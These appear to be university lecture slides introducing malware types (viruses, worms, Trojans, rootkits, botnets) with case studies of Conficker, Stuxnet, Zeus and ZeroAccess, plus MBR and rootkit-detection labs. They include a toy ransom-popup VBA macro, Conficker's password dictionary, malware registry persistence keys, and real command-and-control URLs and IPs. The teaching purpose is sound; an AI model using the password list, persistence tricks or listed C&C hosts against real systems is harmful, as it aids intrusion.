

Cyber Security Technologies

Session 3 – Malware Overview & Exploit Kits

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ITMS 448 – Spring 2016

Review – Last Week

- What is non-repudiation?
 - Can't deny an event occurred
- Main method to verify file integrity?
 - Message Digests (MD5, SHA-1, etc.)
- Name some examples of inside threats
 - Logic Bomb, Data deletion, Rogue AP, Open File Shares, etc.
- Name some examples of outside threats
 - Tailgating, DoS/DDoS, Attacker Breach, Exploit Kits, Malware, etc.
- Last phase of an attack
 - Covering Tracks

Review – Last Week

- Common defenses against elevating access?
 - Strong passwords, monitor sudo/admin usage, utilize least privilege, disable unused user accounts, check for setuid/gid, etc.
- What defense in depth step is often missed?
 - Monitoring and acting on alerts
- Shellshock is a vulnerability in what?
 - GNU Bash shell – malicious code in environmental variables used by OS

PH218 Share & Homework1

- Please logon to your physical machine
 - Open Windows Explorer
 - Did the itm448 share automount for you?
-
- If you didn't complete Homework1 and would like to turn it in as your one late assignment this semester, you have until Tuesday at midnight to turn it in.

Project Info

- There is a new folder on Blackboard named “Project Info” with all of the information you will need to complete your individual project

Advanced Persistent Threat (APT)

- Buzzword in the security industry
- Summary of NIST definition:
 - Sophisticated adversary that uses multiple attack vectors (cyber, physical, deception) to create and extend footholds in an organization for the purposes of exfiltrating information over an extended period of time.
- Let's take a quiz:
 - <http://about-threats.trendmicro.com/quiz/>

Overview

Part I – Malware Overview

Part II – Detecting Malware

Part III – Web Exploit Kits

Part I

Malware Overview

Definition of Malware



**National Institute of
Standards and Technology**
U.S. Department of Commerce

“A program that is inserted into a system, usually covertly, with the intent of compromising the confidentiality, integrity, or availability of the victim’s data, applications, or operating system or of otherwise annoying or disrupting the victim.”

Common Malware Types

- Virus
- Worm
- Trojan Horse
- Spyware / Adware
- Bot/Botnets
- Logic Bombs
- Rootkits
- Backdoors

Malware – Two Broad Categories

- Propagation
 - How the malware spreads to reach the desired target
- Payload
 - What actions the malware takes once it reaches the desired target

Difference Between Viruses, Worms, and Trojans?

- Often, there is a lot of confusion in the distinction between each.



Virus

- Almost always attached to an executable file
- When file is executed, viral code payload may:
 - Infect/overwrite other software or documents with copies of itself
 - Erase files and programs
 - Reformat hard disk
- Propagates only when infected software or document is transferred to another computer *by a user* via:
 - Email attachment, USB Drive, Network File Share, etc.
- **Viruses cannot propagate on their own!**

4 Types of Viruses

1. File infector viruses

- Infects .exe or .com files
 - Ex: Jerusalem, Cascade

2. Boot sector & Master Boot Record (MBR) viruses

- Attaches to boot sector or MBR of disk, activates when infected disk booted
 - Ex: Boot sector: Form, Disk Killer, Michelangelo, Stoned
 - MBR: NYB, AntiEye, Unashamed

MBR Lab

- MBR is usually first sector of physical hard drive (unless you have full disk encryption)
- Identifies where the Operating System is located to allow booting
- Let's take a look at our RADISH Win 8.1 VM's MBR
- Logon to VM with View Client
- Open M: drive and Tools Folder
- Copy WinHex folder to Desktop and open it

MBR Lab

- Right click on WinHex Application and “Run as Administrator”
 - Username: .\student
 - Password: student
- Close the Messages window if it appears
- In WinHex, select Tools / Open Disk
- Under Physical Media, choose HD0, click OK
- ****Don't modify any of the bytes or hit Save****

MBR Lab

MBR Lab – Common System IDs

System ID Value	Partition Type
0x00	Empty (No Partition)
0x05	Extended Partition
0x07	NTFS Partition
0x0B	FAT32 Partition
0x82	Linux Swap Partition
0x83	Linux ext2/3/4 Partition
0x85	Linux Extended Partition
0xAF	HFS / HFS+ Partition

MBR Lab

- Right click on “Hard disk 0” tab and hit “Close”
- Hit “Yes” if asked
- Exit out of WinHex
- Now let’s check out the our Kali Linux’s MBR
- Open Kali and a terminal window
- **fdisk -lu**

Device	Boot	Start	End	Sectors	Size	Id	Type
/dev/sda1	*	2048	40136703	40134656	19.1G	83	Linux
/dev/sda2		40138750	41940991	1802242	880M	5	Extended
/dev/sda5		40138752	41940991	1802240	880M	82	Linux swap / Solaris

MBR Lab

- `xxd -l 512 /dev/sda`

```
000001b0: 0000 0000 0000 0000 1815 0400 0000 8020
000001c0: 2100 83fe ffff 0008 0000 0080 9703 00fe
000001d0: ffff 05fe ffff fe8f 9703 0268 2800 0000
000001e0: 0000 0000 0000 0000 0000 0000 0000 0000
000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa
```

```
00000000: eb63 9010 8ed0 bc00 b0b8 0000 8ed8 8ec0
00000010: fbbf 007c bf00 06b9 0002 f3a4 ea21 0600
00000020: 00be be07 3804 750b 83c6 1081 fefe 0775
00000030: f3eb 16b4 02b0 01bb 007c b280 8a74 018b
00000040: 4c02 cd13 ea00 7c00 00eb fe00 0000 0000
00000050: 0000 0000 0000 0000 0000 0080 0100 0000
00000060: 0000 0000 fffa 9090 f6c2 8074 05f6 c270
00000070: 7402 b280 ea79 7c00 0031 c08e d88e d0bc
00000080: 0020 fba0 647c 3cff 7402 88c2 52be 807d
00000090: e817 01be 057c b441 bbaa 55cd 135a 5272
000000a0: 3d81 fb55 aa75 3783 e101 7432 31c0 8944
000000b0: 0440 8844 ff89 4402 c704 1000 668b 1e5c
000000c0: 7c66 895c 0866 8b1e 607c 6689 5c0c c744
000000d0: 0600 70b4 42cd 1372 05bb 0070 eb76 b408
000000e0: cd13 730d f6c2 800f 84d8 00be 8b7d e982
000000f0: 0066 0fb6 c688 64ff 4066 8944 040f b6d1
00000100: c1e2 0288 e888 f440 8944 080f b6c2 c0e8
00000110: 0266 8904 66a1 607c 6609 c075 4e66 a15c
00000120: 7c66 31d2 66f7 3488 d131 d266 f774 043b
00000130: 4408 7d37 fec1 88c5 30c0 c1e8 0208 c188
00000140: d05a 88c6 bb00 708e c331 dbb8 0102 cd13
00000150: 721e 8cc3 601e b900 018e db31 f6bf 0080
00000160: 8ec6 fcf3 a51f 61ff 265a 7cbe 867d eb03
00000170: be95 7de8 3400 be9a 7de8 2e00 cd18 ebfe
00000180: 4752 5542 2000 4765 6f6d 0048 6172 6420
00000190: 4469 736b 0052 6561 6400 2045 7272 6f72
000001a0: 0d0a 00hb 0100 b40e cd10 ac3c 0075 f4c3
000001b0: 0000 0000 0000 0000 1815 0400 0000 8020
000001c0: 2100 83fe ffff 0008 0000 0080 9703 00fe
000001d0: ffff 05fe ffff fe8f 9703 0268 2800 0000
000001e0: 0000 0000 0000 0000 0000 0000 0000 0000
000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa
```

4 Types of Viruses (Cont.)

3. Multipartite viruses

- Infects multiple areas such as boot records and program files
 - Ex: One_Half, Emperor, Anthrax, Tequila

4. Macro viruses

- Infect data files with macro or scripting code that is interpreted by an application (Usually Word, Excel, PP, Access, Batch File, etc.)
 - Ex: W97M.Melissa, WM.NiceDay, W97M.Groov

Virus Prevalence

- True viruses are not as common these days
- Might see some Macro viruses occasionally



Macro Virus Example


- Microsoft Visual Basic for Applications (VBA)

```
Private Sub Auto_Open()
```

```
    MsgBox "Your Computer is now infected! You  
must wire $200 to account 324912398234 to  
remove the infection!", vbOKOnly,  
"WARNING!!!!!!!!!!!!!!!"
```

```
End Sub
```

Macro Virus Example



Macro Virus Example

- The prior example just displayed a pop up box but macros could be used to open programs, run commands, etc.

Worms

- Seeks out computers to infect and each infected computer acts as automated launching pad for attacks on even more computers.
- Propagates via:
 - Network connections, shared media, can email copy of itself
 - Worm macro inside Word, Excel, PP documents
- Can remotely execute a copy of itself on another system as well as remotely logon as a user
- **Unlike Viruses, Worms propagate on their own!**

Worms (Cont.)

- Payload
 - Creation of backdoor
 - Turns computers into spam engines
 - Can disable security software
 - Damage systems
 - Cause Denial of Service (DoS) attacks

Recent Worm Malware

- Conficker (AKA Downadup)
- Stuxnet

Conficker

- Worm that:
 - Replicates and joins infected hosts to a botnet
 - Could also download and install other malware such as scareware.
- Uses Windows Server Service vulnerability (MS08-067)
 - Allows attackers to execute arbitrary code via crafted RPC request that triggers buffer overflow
 - RPC packet is sent on port 139 or 445

Conficker (Cont.)

- Windows Remote Procedure Call (RPC)
 - Lets program request a service from a program on a remote computer
 - Provides file/print/named pipe sharing across a network

**B variant includes NetBios and USB propagation

Conficker (Cont.)

- Payload:
 - Copies itself with random name into %systemroot%\system32 and registers itself as a service.
 - Adds itself to the Windows registry:
 - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<name>.dllImagePath = %SystemRoot%\system32\svchost.exe -k netsvcs
 - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\netsvcs\Parameters\ServiceDll = "<name>.dll"

Conficker (Cont.)

- Uses following sites to determine infected machine's IP:
 - <http://www.getmyip.org>
 - <http://checkip.dyndns.org>
 - <http://getmyip.co.uk>
- Then, downloads small HTTP server to infected machine to:
 - Scan for other vulnerable computers as targets
 - Sends infected computer URL to targets

Conficker (Cont.)

- Conficker can also use infected computer to crack passwords of remote computers:


fuck	zzzzz	zzzz	zzz	xxxxx	xxxx	1234	123		
xxx	qqqqq	qqqq	qqq	aaaaa	aaaa	999999999	888888888	777777777	666666666
aaa	sql	file	web	foo	job	9999999	8888888	7777777	6666666
home	work	intranet	controller	killer	games	999999	888888	777777	666666
private	market	coffee	cookie	forever	freedom	99999	88888	77777	66666
student	account	academia	files	windows	monitor	9999	8888	7777	6666
unknown	anything	letitbe	letmein	domain	access	999	888	777	666
money	campus	explorer	exchange	customer	cluster	99	88	77	66
nobody	codeword	codename	changeme	desktop	security	9	8	7	6
secure	public	system	shadow	office	supervisor	555555555	444444444	333333333	222222222
superuser	share	super	secret	server	computer	5555555	4444444	3333333	2222222
owner	backup	database	lotus	oracle	business	555555	444444	333333	222222
manager	temporary	ihavenopass	nothing	nopassword	nopass	55555	44444	33333	22222
Internet	internet	example	sample	level123	boss123	5555	4444	3333	2222
work123	homel23	mypcl23	templ23	testl23	qwel23	555	444	333	222
abc123	pwl23	rootl23	passl23	passl12	passl1	55	44	33	22
admin123	adminl2	adminl1	passwordl23	passwordl12	passwordl1	5	4	3	2
default	foobar	foofoo	temptemp	temp	testtest	111111111	000000000	0987654321	
test	rootroot	root	adminadmin	mypassword	mypass	1111111	0000000	987654321	
pass	Login	login	Password	password	passwd	111111	00000	87654321	
zxcvbn	zxcvb	zxccxz	zxcxz	qazwsxedc	qazwsx	11111	0000	7654321	
qlw2e3	qweasdzxc	asdfgh	asdzxc	asddsa	asdsa	1111	000	654321	
qweasd	qwerty	qweeqw	qwewq	nimda	administrator	111	00	54321	
Admin	admin	alb2c3	1q2w3e	1234qwer	1234abcd	11		4321	
123asd	123qwe	123abc	123321	12321	123123	1		321	
1234567890	123456789	12345678	1234567	123456	12345			21	

Conficker (Cont.)

- Vulnerable target computer downloads worm from the initially infected computer's HTTP server via the URL provided
- Target starts infecting other machines in the same manner.

**Conficker also patches vulnerability to prevent other worms from getting into Conficker infected computers.

Conficker Diagram




Conficker Prevention

- Keep security patches up to date
- Could use firewall to block SMB (445) and NetBios (139)
 - Most corporate environments need these open
- Use security software
- Use strong passwords
- Scan USB drives before inserting into your computer

Stuxnet

- Worm that infected at least 14 industrial sites in Iran
- Targeted Siemens software that controlled nuclear centrifuges
- Used RPC vulnerability utilized by Conficker
- Exploits Windows Shortcut Files (LNK/PIF)
 - Applications that display icons (Windows Explorer) executes a copy of the worm

Stuxnet



1. infection

Stuxnet enters a system via a USB stick and proceeds to infect all machines running Microsoft Windows. By brandishing a digital certificate that seems to show that it comes from a reliable company, the worm is able to evade automated-detection systems.

2. search

Stuxnet then checks whether a given machine is part of the targeted industrial control system made by Siemens. Such systems are deployed in Iran to run high-speed centrifuges that help to enrich nuclear fuel.

3. update

If the system isn't a target, Stuxnet does nothing; if it is, the worm attempts to access the Internet and download a more recent version of itself.

Stuxnet (Cont.)



4. compromise

The worm then compromises the target system's logic controllers, exploiting "zero day" vulnerabilities—software weaknesses that haven't been identified by security experts.



5. control

In the beginning, Stuxnet spies on the operations of the targeted system. Then it uses the information it has gathered to take control of the centrifuges, making them spin themselves to failure.



6. deceive and destroy


Meanwhile, it provides false feedback to outside controllers, ensuring that they won't know what's going wrong until it's too late to do anything about it.

How could Stuxnet have been prevented?

- Disable local USB ports.
- Integrity scanners of the logic controller software that ran the centrifuges could have detected a change.
- Stuxnet was a 0-day attack at the time
 - Hence, there were no patches or signatures for A/V or IDS/IPS created yet.

Trojan Horse

- Malicious software that appears to be legitimate



Early Trojans

- Pirated Software
- Screen Savers
- Useful Utilities
- Keygens
- Download and install the software above
 - Get hit with malware payload



Trojans

- Propagates via user interaction:
 - Opening email attachments
 - Downloading and executing a file from the internet
- Payloads:
 - Data theft or loss
 - Creation of backdoor
 - Downloading of other malware
- **Trojans do not self replicate like Worms or reproduce by infecting other files like Viruses**

Recent Trojan Types

- Scareware / FakeAV
- Ransomware
- Remote Administration Trojan (RAT)
- PDF Malware
- Customizable Trojans – Zeus/Zbot

Trojans – Scareware / FakeAV



Trojans - Ransomware

The screenshot shows a ransomware warning page. At the top is the seal of the Federal Bureau of Investigation (FBI). Below it, the text reads "Computer Crime & Intellectual Property Section" and "United States Department of Justice". A background image features an American flag and a gavel resting on a keyboard. A yellow banner at the top says "Attention!". The main text states: "This operating system is locked due to the violation of the federal laws of the United States of America! Following violations were detected: Your IP address is [REDACTED]. This IP address was used to visit websites containing pornography, child pornography, zoophilia and child abuse. Your computer also contains video files with pornographic content, elements of violence and child pornography. Spam-messages with terrorist motives were also sent from your computer. This computer lock is aimed to stop your illegal activity." Below this, a "Your details:" section shows "IP: [REDACTED]" with "Location: United States" and "ISP: [REDACTED]". A "MoneyPak" logo is shown with the text "Where can I buy MoneyPack?". Below this, logos for various retailers are displayed: Walmart, CVS/pharmacy, Walgreens, Ralphs, Kroger, RITE AID PHARMACY, Smith's FOOD & DRUG STORES, Longs Drugs, and Fred Meyer. An "OK" button is at the bottom.


The screenshot shows a red-themed ransomware warning page for "Cryptolocker 2.0". The title "Cryptolocker 2.0" is at the top. The main message "Your personal files are encrypted" is centered. In the center is a large white shield with blue diagonal stripes. Below the shield, the text "Your files will be lost without payment on: 11/24/2013 3:16:34 PM" is displayed. To the right, a box titled "Info" contains the following text: "Your important files were encrypted on this computer: photos, videos, documents , etc. You can verify this by click on see files and try to open them." It also states: "Encryption was produced using unique public key RSA-4096 generated for this computer. To decrypt files, you need to obtain private key." Another box below says: "The single copy of the private key, which will allow you to decrypt the files, is located on a secret server on the Internet; the server will destroy the key within 72 hours after encryption completed. After that, nobody and never will be able to restore files." At the bottom, buttons for "See files", "<< Back", and "Proceed to payment >>" are visible.

Trojans - RAT


- Also called a backdoor
- Includes client and server program
- Attacker can remotely control system
 - Log keystrokes
 - Access webcam and audio
 - Take screenshots
 - Packet sniffing
 - Steal files
 - Modify system

Trojans – RAT (Cont.)

Poison Ivy




Back Orifice



PDF Malware

1. User opens malicious PDF in a viewer
2. Embedded script set to execute “On Open”
3. Script either:
 - extracts and decodes embedded malware on system
 - downloads new malware from an internet site
4. Malware is installed on victim’s system

PDF Malware



Zeus/Zbot – Customizable Trojan

- Crimeware toolkit to build custom Trojans
- Sold on black market
- Basic package - \$2,399 plus \$125 a month
 - Build a bot package
 - Botnet Admin panel

Zeus/Zbot – Customizable Trojan (cont.)

- Can be customized to:
 - Gather passwords from Windows Protected Storage (IE, FTP, POP3)
 - Monitor web sites in config file to intercept web forms
 - Sometimes creating additional fields in page such as date of birth

Zeus/Zbot – Customizable Trojan (cont.)

- Spread by:
 - Phishing emails
 - Infected sites
- In 2010, FBI reported Zeus was used to steal \$70 million from individuals' credit card and banking accounts
- Has compromised accounts at:
 - Amazon, Bank of America, ABC, NASA, Oracle, Businessweek, and others.


Zeus/Zbot – Customizable Trojan (cont.)

- New variants in 2014 shown to:
 - Use Windows Program Information Files (PIF) for execution.
 - Can be slightly modified to avoid A/V detection
 - Communicates with Command and Control (C&C) servers (aka Botnet Master Server) using HTTPS to transmit stolen data.

Other Malware

- Bots/Botnets
- Rootkits
- Logic Bombs

Bots/Botnets



Bots/Botnets

- Can be used to:
 - Steal information (Zeus/Zbot)
 - Send spam/phishing campaign emails
 - Participate in Distributed Denial-of-Service attacks (DDoS)
 - Crack passwords
 - Bitcoin mining

Bots/Botnets

- Bot Master (aka C&C Server) communicates with bots via covert channel.
 - Often IRC
 - Newer botnets use P2P network and encryption

Zeus/Zbot Botnet

The screenshot shows a Mozilla Firefox browser window displaying the 'ZeuS :: Bots' interface. The title bar reads 'ZeuS :: Bots - Mozilla Firefox'. The menu bar includes 'Datei', 'Bearbeiten', 'Ansicht', 'Chronik', 'Lesezeichen', 'Extras', and 'Hilfe'. The toolbar includes standard icons for back, forward, search, and refresh. The address bar shows the URL 'http://in.php?m=bots'. The main content area has a sidebar on the left with the following sections:

- Information:** Profile: [redacted], GMT date: 11.03.2009, GMT time: 09:26:39
- Statistics:** Summary
- Botnet:** → Online bots, Remote commands
- Logs:** Search, Search with template, Uploaded files
- System:** Profiles, Profile, Options
- Logout**

On the right, there is a 'Filter' panel with fields for 'Countries', 'CompID's', 'Botnets', and 'IP's', and a dropdown for 'Type' set to 'Outside NAT' with an 'Apply' button. Below the filter is a 'Forward >>' button. The main table area is titled 'Result:' and contains a large list of botnet nodes. Each row in the table includes a number, CompID, Ver/Botnet, IP, Country, Socks, Proxy, Screenshot, Kill OS, Online time, and Lag. The table is scrollable.

#	CompID	Ver/Botnet	IP	Country	Socks	Proxy	Screenshot	Kill OS	Online time	Lag
1	user_1d9ce10c45_01d6e996	1.1.0/main	213.***.***.55	RU	213.***.***.38345	213.***.***.10051	View	Kill	96:13:39	0.968
2	fic_000eb9b	1.1.2/main	94.***.***.1	--	94.***.***.1025	94.***.***.34451	View	Kill	96:32:47	0.765
3	family_01207eeb	1.1.2.2/main	86.***.***.1	GB	86.***.***.1027	86.***.***.22093	View	Kill	98:58:44	0.328
4	d719sf2j_0019064f	1.1.2.2/main	87.***.***.1	GB	87.***.***.1025	-	View	Kill	96:49:07	0.235
5	218_u_1_00ac3738	1.1.2.2/main	195.***.***.1	RU	195.***.***.1025	195.***.***.10359	View	Kill	96:27:06	0.141
6	illusion_f2243e_00576c9d	1.1.2.2/main	124.***.***.1	TH	124.***.***.1025	-	View	Kill	104:12:36	0.844
7	brian_ally_0228d16c	1.1.2.2/main	82.***.***.1	GB	82.***.***.1027	-	View	Kill	97:49:55	0.313
8	telekit_7482b02_00b07900	1.1.2.2/main	94.***.***.1	--	94.***.***.1025	94.***.***.33846	View	Kill	98:00:42	0.157
9	your_jaxvxjzedk_00a364bc	1.1.2.2/main	82.***.***.1	GB	82.***.***.1025	-	View	Kill	96:10:44	26.75
10	home_881b31b48d_00170f87	1.1.2.2/main	58.***.***.1	TH	58.***.***.1048	58.***.***.32353	View	Kill	103:14:13	1.042
11	your_***.***.1	1.1.2.2/main	68.***.***.1	--	68.***.***.1025	68.***.***.17992	View	Kill	104:12:03	0.578
12	blackxp_000325d8	1.1.2.2/main	124.***.***.1	TH	-	124.***.***.47:37760	-	-	98:38:15	0.187
13	b154bc1afca840e_00397f1d	1.1.2.2/main	77.***.***.1	RU	77.***.***.1027	77.***.***.14804	View	Kill	104:11:25	0.078
14	xp_0051dba0	1.1.2.2/main	58.***.***.1	TH	58.***.***.1025	58.***.***.37112	View	Kill	97:37:17	3.938
15	desktop_02659af2	1.1.2.2/main	190.***.***.1	AR	190.***.***.1025	190.***.***.8:32639	View	Kill	107:20:49	0.657
16	davie_0085eb43	1.1.2.2/main	62.***.***.1	GB	62.***.***.1036	62.***.***.37719	View	Kill	96:34:49	0.188
17	1_d07192a7a4944_0025f597	1.1.2.2/main	95.***.***.1	--	95.***.***.1026	95.***.***.10385	View	Kill	100:53:01	3.25
18	microsof_886bea_01bd77ea	1.1.2.2/main	92.***.***.1	--	92.***.***.1025	92.***.***.10278	View	Kill	96:36:01	3.266
19	mircik_00069abc	1.1.2.2/main	193.***.***.1	SK	193.***.***.1025	193.***.***.2664	View	Kill	96:41:51	0.187
20	ammo_00135651	1.1.2.2/main	82.***.***.1	GB	82.***.***.1025	82.***.***.15589	View	Kill	96:31:56	0.156
21	freedom_867dc59_000050cf	1.1.2.2/main	82.***.***.1	RU	82.***.***.1027	-	View	Kill	98:18:30	0.078
22	pc_fec662b1943d_00153eae	1.1.2.2/main	86.***.***.1	GB	86.***.***.1027	-	View	Kill	104:11:26	0.15
23	pen_003f0760	1.1.2.2/main	95.***.***.1	--	95.***.***.1025	95.***.***.31003	View	Kill	96:39:22	0.312
24	home_***.***.1	1.1.2.2/main	24.***.***.1	--	24.***.***.54537	24.***.***.27755	View	Kill	104:12:37	0.624
25	bsaftpz_7e2bb74_017743b0	1.1.2.2/main	89.***.***.1	HU	89.***.***.1025	89.***.***.18514	View	Kill	97:55:18	0.266
26	client_df77fa69_0d6210d8	1.1.2.2/main	89.***.***.1	RO	89.***.***.1025	89.***.***.38462	View	Kill	96:14:16	0.701
27	acer_4d30879900_004dbca2	1.1.2.2/main	202.***.***.1	TH	-	202.***.***.25983	-	-	97:16:11	0
28	abc_67365a4e5b6_00204191	1.1.2.2/main	115.***.***.1	--	115.***.***.1027	115.***.***.34129	View	Kill	98:45:29	8.437
29	skz_fd19c55e0a2_003d5664	1.1.2.2/main	61.***.***.1	TH	61.***.***.1025	61.***.***.35502	View	Kill	96:32:12	10.016
30	romanz251oh_2_00010-54	1.1.2.2/main	214.***.***.205	DE	-	-	-	-	96:25:17	0.224

ZeroAccess Botnet

- Uses ZeroAccess Trojan rootkit on bots
- Spread by:
 - Compromised web sites (Drive by download)
- Payload:
 - Click Fraud : conducts web searches and clicks on results
 - Can download other malware such as scareware
 - Bitcoin mining
 - Backdoor for C&C owner

ZeroAccess Botnet C&C

The screenshot shows a web-based control panel for the ZeroAccess botnet. At the top, there's a navigation bar with links for News, Statistics (which is currently selected), Graphs, Files, Profile, and Payments. The main content area has two sections: 'Statistics' and 'Installation statistics'.

Statistics section:

- Date from: 2012-05-01
- Date to: 2012-05-23
- Search button

Installation statistics section:

Date	Status L1 *	Status L2 *	Status L3 *	Status L4 *	Status S1 *	Status S2 *	Status R1 *	Status R2 *	
2012-05-23	0	0	0	0	0	0	0	0	
2012-05-22	0	0	0	0	0	0	0	0	
2012-05-21	0	0	0	0	0	0	0	0	
2012-05-20	0	0	0	0	0	0	0	0	
2012-05-19	0	0	0	0	0	0	0	0	
2012-05-18	0	0	0	0	0	0	0	0	
2012-05-17	0	0	0	0	0	0	0	0	
2012-05-16	0	0	0	0	0	0	0	0	
2012-05-15	0	0	0	0	0	0	0	0	
2012-05-14	0	0	0	0	0	0	0	0	

ZeroAccess Botnet C&C (Cont.)

You logged in as **pivaner**, your ID is **531** | Balance **\$0.00** | Rate **75%** (+5% for referrals) | [Sign out](#) |

[News](#) [Statistics](#) [Graphs](#) [Files](#) [Profile](#) [Payments](#)

Files

Your personal link to download the file:
<http://31.184.244.55/download.php?id=531&key=4e36463c106fe97f>

The file can only be downloaded once per 15 minutes.

Last update files: **196 min. ago.**


Checking the file

Antivirus	Status
Avast: Free Antivirus 7.0	Clear
BitDefender: Internet Security 2012	Clear
Kaspersky: Internet Security 2012	Clear
Symantec: Norton Internet Security 2012	Clear
Trend Micro: Titanium Maximum Security 2012	Clear
F-Secure: Internet Security 2012	Clear
Avira: Internet Security 2012	Clear
Panda: Internet Security 2012	Clear

Rootkit

- Has system level/root access to system
- Attempts to hide fact that system is infected
- Two types:
 - User-Mode Rootkits
 - Kernel-Mode Rootkits

User-Mode vs. Kernel-Mode Rootkits



Rootkit Detection

- Would traditional AntiVirus software be able to detect a kernel-mode rootkit?
- What about a user-mode rootkit?

ZeroAccess Rootkit

- Started as kernel-mode rootkit
 - Created new kernel device driver object called `_max++>`
 - Maintains persistence on reboot

```
lkd> dt _DRIVER_OBJECT 0x8201f590
nt!_DRIVER_OBJECT
+0x000 Type : 4
+0x002 Size : 168
+0x004 DeviceObject : 0x81fd5040 _DEVICE_OBJECT
+0x008 Flags : 0x12
+0x00c DriverStart : 0xf86cb000
+0x010 DriverSize : 0x8e00
+0x014 DriverSection : 0x821edbc0
+0x018 DriverExtension : 0x8201f638 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING "\Driver\Disk"
+0x024 HardwareDatabase : 0x8066e9d8 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch : (null)
+0x02c DriverInit : 0xf86d28ab long +ffffffffff86d28ab
+0x030 DriverStartIo : (null)
+0x034 DriverUnload : (null)
+0x038 MajorFunction : [28] 0xf4b79134 long +ffffffffff4b79134
1kd> dt _DRIVER_OBJECT 821eb320
nt!_DRIVER_OBJECT
+0x000 Type : 4
+0x002 Size : 168
+0x004 DeviceObject : 0x821a89f0 _DEVICE_OBJECT
+0x008 Flags : 0x12
+0x00c DriverStart : 0xf86cb000
+0x010 DriverSize : 0x8e00
+0x014 DriverSection : 0x821edbc0
+0x018 DriverExtension : 0x821eb3c8 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING "\Driver\Disk"
+0x024 HardwareDatabase : 0x8066e9d8 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch : (null)
+0x02c DriverInit : 0xf86d28ab long +ffffffffff86d28ab
+0x030 DriverStartIo : (null)
+0x034 DriverUnload : 0xf86e253a void +ffffffffff86e253a
+0x038 MajorFunction : [28] 0xf86e1c30 long +ffffffffff86e1c30
```

← Fake Driver

← Real Driver

ZeroAccess Rootkit

- Now it has been changed to a user-mode rootkit
 - Loads DLL into services.exe and explorer.exe
 - Maintains persistence by hijacking COM object in Windows Registry called wbemess.dll

%systemroot%\system32\wbem\wbemess.dll



Correct value

\.\globalroot\systemroot\Installer\{e051c979-bddd-5d1f-8953-4b8c940e9b4d}\n.




Hijacked value

TDSS Rootkit (Alureon)

- PC gets infected by Trojan such as Scareware Security Essentials 2010
- Hooks hardware driver and joins botnet
- Network traffic interception to:
 - Steal usernames, passwords, credit card data
- Great write-up here on different variants:
 - <http://securelist.com/analysis/36314/tdss/>

How to detect Rootkits?

- A/V might detect signatures
- Monitor outbound traffic to C&C



The screenshot shows a terminal window titled "Edit Config.ini - Far". The window displays a configuration file with the following content:

```
C:\...\rs\Config.ini *      DOS   Line    2/236  Col 1    113  17:27
[main]
quote=Tomorrow will be the most beautiful day of Raymond K. Hessel's life
version=3.23
botid=1b4304f0-66a4-153d-b1bf-563ef92333ab
affid=20173
subid=0
installdate=30.1.2010 14:33:12
builddate=30.1.2010 14:1:8
[injector]
*=tdlcmd.dll
[tdlcmd]
servers=https://d45648675.cn/;https://d92378523.cn/;https://91.212.226.62/
wspservers=http://b11335599.cn/;http://b00882244.cn/
popupservers=http://m3131313.cn/
version=3.64
```

- File Integrity Software might detect changes

How to detect Rootkits? (cont.)

- chkrootkit – tool to locally check for signs of a rootkit.

The following rootkits, worms and LKMs are currently detected:

- 01. Irk3, Irk4, Irk5, Irk6 (and variants);
- 04. t0rn (and variants);
- 07. rh[67]-shaper;
- 10. RK17;
- 13. LPD Worm;
- 16. ShitC Worm;
- 19. Maniac-RK;
- 22. x.c Worm;
- 25. knark LKM;
- 28. Bobkit;
- 31. Showtee;
- 34. MithRa's Rootkit;
- 37. Scalper;
- 40. Illogic rootkit;
- 43. Romanian rootkit;
- 46. Aquatica rootkit;
- 49. TC2 Worm;
- 52. Anonoying rootkit;
- 55. zaRwT rootkit;
- 58. Kenga3 rootkit;
- 61. Enye LKM;
- 64. OSX.RSPlug.A;
- 02. Solaris rootkit;
- 05. Ambient's Rootkit (ARK);
- 08. RSHA;
- 11. Lion Worm;
- 14. kenny-rk;
- 17. Omega Worm;
- 20. dsc-rootkit;
- 23. RST.b trojan;
- 26. Monkit;
- 29. Pizdakit;
- 32. Optickit;
- 35. George;
- 38. Slapper A, B, C and D;
- 41. SK rootkit.
- 44. LOC rootkit;
- 47. ZK rootkit;
- 50. Volc rootkit;
- 53. Shkit rootkit;
- 56. Madalin rootkit;
- 59. ESRK rootkit;
- 62. Lupper.Worm;
- 65. Linux Rootkit 64Bit;
- 03. FreeBSD rootkit;
- 06. Ramen Worm;
- 09. Romanian rootkit;
- 12. Adore Worm;
- 15. Adore LKM;
- 18. Wormkit Worm;
- 21. Ducoci rootkit;
- 24. duarawkz;
- 27. Hidrootkit;
- 30. t0rn v8.0;
- 33. T.R.K;
- 36. SuckIT;
- 39. OpenBSD rk v1;
- 42. sebek LKM;
- 45. shv4 rootkit;
- 48. 55808.A Worm;
- 51. Gold2 rootkit;
- 54. AjaKit rootkit;
- 57. Fu rootkit;
- 60. rootedoor rootkit;
- 63. shv5;
- 66. Operation Windigo;

How to detect Rootkits? (cont.)

- Rootkit Hunter
 - Checks for over 50 different rootkits.

```
root@bt:~# rkhunter --check
[ Rootkit Hunter version 1.3.8 ]

Checking system commands...

    Performing 'strings' command checks
        Checking 'strings' command

    Performing 'shared libraries' checks
        Checking for preloading variables
        Checking for preloaded libraries
        Checking LD_LIBRARY_PATH variable

    Performing file properties checks
        Checking for prerequisites
        /usr/sbin/adduser
        /usr/sbin/chroot
        /usr/sbin/cron
        /usr/sbin/groupadd
        /usr/sbin/groupdel
        /usr/sbin/groupmod
        /usr/sbin/grpck
        /usr/sbin/inetd
        /usr/sbin/nologin
```

[OK]
[None found]
[None Found]
[Not found]

[Warning]
[Warning]
[OK]

Other Rootkit Detection Software

- Rootkit Revealer
- F-Secure's BlackLight
- ICE Sword
- Sophos Anti-Rootkit
- McAfee Rootkit Detective

Rootkit Remediation

- A lot of Enterprise Organizations will just:
 - Wipe the drive
 - Reformat drive
 - Reinstall OS, Apps, and Data
 - Apply all security patches
 - Change all admin/root passwords
- This is the safest option to know definitively that the rootkit is gone!

Rootkit Remediation

- If you can't wipe/reformat:
 - Remediation Software
 - McAfee RootkitRemover
 - ❖ Removes ZeroAccess and TDSS family of rootkits
